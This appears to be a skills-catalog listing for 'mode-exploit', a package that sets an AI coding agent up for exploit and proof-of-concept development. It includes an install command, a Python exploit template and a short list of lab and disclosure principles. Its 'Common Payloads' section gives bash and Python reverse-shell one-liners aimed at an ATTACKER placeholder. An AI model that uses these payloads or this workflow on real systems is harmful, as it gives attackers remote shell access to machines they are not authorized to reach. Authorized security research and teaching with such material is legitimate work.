mode-exploit
Provides a standardized template and workflow for analyzing, developing, and documenting software exploits and PoCs.
Install
mkdir -p .claude/skills/mode-exploit && curl -L -o skill.zip "https://agentskills.codes/api/skills/download/9786" && unzip -o skill.zip -d .claude/skills/mode-exploit && rm skill.zipInstalls to .claude/skills/mode-exploit
Activation
This is the description your AI agent reads to decide when to run this skill — the better it matches your request, the more reliably it fires.
Exploit development workflow. Use when: write exploit, PoC, payload, shellcode, bypass, buffer overflow, RCE, reverse shell.Key capabilities
- →Vulnerability analysis
- →PoC development
- →Payload generation
- →Reverse engineering
How it works
It follows a structured lifecycle from analysis to PoC development, using templates for exploit scripts.
Inputs & outputs
When to use mode-exploit
- →Developing exploit proof-of-concepts
- →Reverse engineering vulnerabilities
- →Automating payload generation
About this skill
Exploit Development Mode
Workflow
- Analyze → Understand vulnerability, root cause
- Research → Find similar exploits, CVEs, techniques
- Develop → Write exploit code
- Test → Verify in controlled environment
- Document → PoC, usage instructions, impact
Exploit Template (Python)
#!/usr/bin/env python3
"""
Exploit: [CVE-XXXX-XXXX / Vuln Name]
Target: [Software/Version]
Type: [RCE/SQLi/LFI/etc]
Author: [Name]
"""
import argparse
import requests
def exploit(target: str, cmd: str = "id") -> str:
"""Main exploit logic"""
# Exploit code here
pass
def main():
parser = argparse.ArgumentParser(description="Exploit description")
parser.add_argument("target", help="Target URL/IP")
parser.add_argument("-c", "--cmd", default="id", help="Command to execute")
args = parser.parse_args()
result = exploit(args.target, args.cmd)
print(result)
if __name__ == "__main__":
main()
Common Payloads
# Reverse shell (bash)
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Principles
- Test in lab environment first
- Document all steps clearly
- Include cleanup/restore steps
- Follow responsible disclosure
When not to use it
- →Production systems without authorization
Prerequisites
Limitations
- →Requires controlled environment
How it compares
It provides a formal, responsible development workflow rather than ad-hoc hacking.
Compared to similar skills
mode-exploit side by side with the closest alternatives in the catalog.
| Skill | Installs | Updated | Safety | Difficulty |
|---|---|---|---|---|
| mode-exploit (this skill) | 0 | 6mo | Review | Advanced |
| cookbook-audit | 5 | 5mo | Review | Intermediate |
| pr-review | 6 | 2mo | Review | Intermediate |
| cursor-prod-checklist | 4 | 27d | Review | Intermediate |
Try saying
Example prompts that trigger this skill in your AI assistant.
More by ripgraphics
View all by ripgraphics →You might also like
cookbook-audit
anthropics
Audit an Anthropic Cookbook notebook based on a rubric. Use whenever a notebook review or audit is requested.
pr-review
pytorch
Review PyTorch pull requests for code quality, test coverage, security, and backward compatibility. Use when reviewing PRs, when asked to review code changes, or when the user mentions "review PR", "code review", or "check this PR".
cursor-prod-checklist
jeremylongshore
Execute production readiness checklist for Cursor IDE setup. Triggers on "cursor production", "cursor ready", "cursor checklist", "optimize cursor setup". Use when working with cursor prod checklist functionality. Trigger with phrases like "cursor prod checklist", "cursor checklist", "cursor".
django-verification
affaan-m
Verification loop for Django projects: migrations, linting, tests with coverage, security scans, and deployment readiness checks before release or PR.
engineering-skills
alirezarezvani
23 production-ready engineering skills covering architecture, frontend, backend, fullstack, QA, DevOps, security, AI/ML, data engineering, computer vision, and specialized tools like Playwright Pro, Stripe integration, AWS, and MS365. 30+ Python automation tools (all stdlib-only). Works with Claude Code, Codex CLI, and OpenClaw.
idapython
mrexodia
IDA Pro Python scripting for reverse engineering. Use when writing IDAPython scripts, analyzing binaries, working with IDA's API for disassembly, decompilation (Hex-Rays), type systems, cross-references, functions, segments, or any IDA database manipulation. Covers ida_* modules (50+), idautils iterators, and common patterns.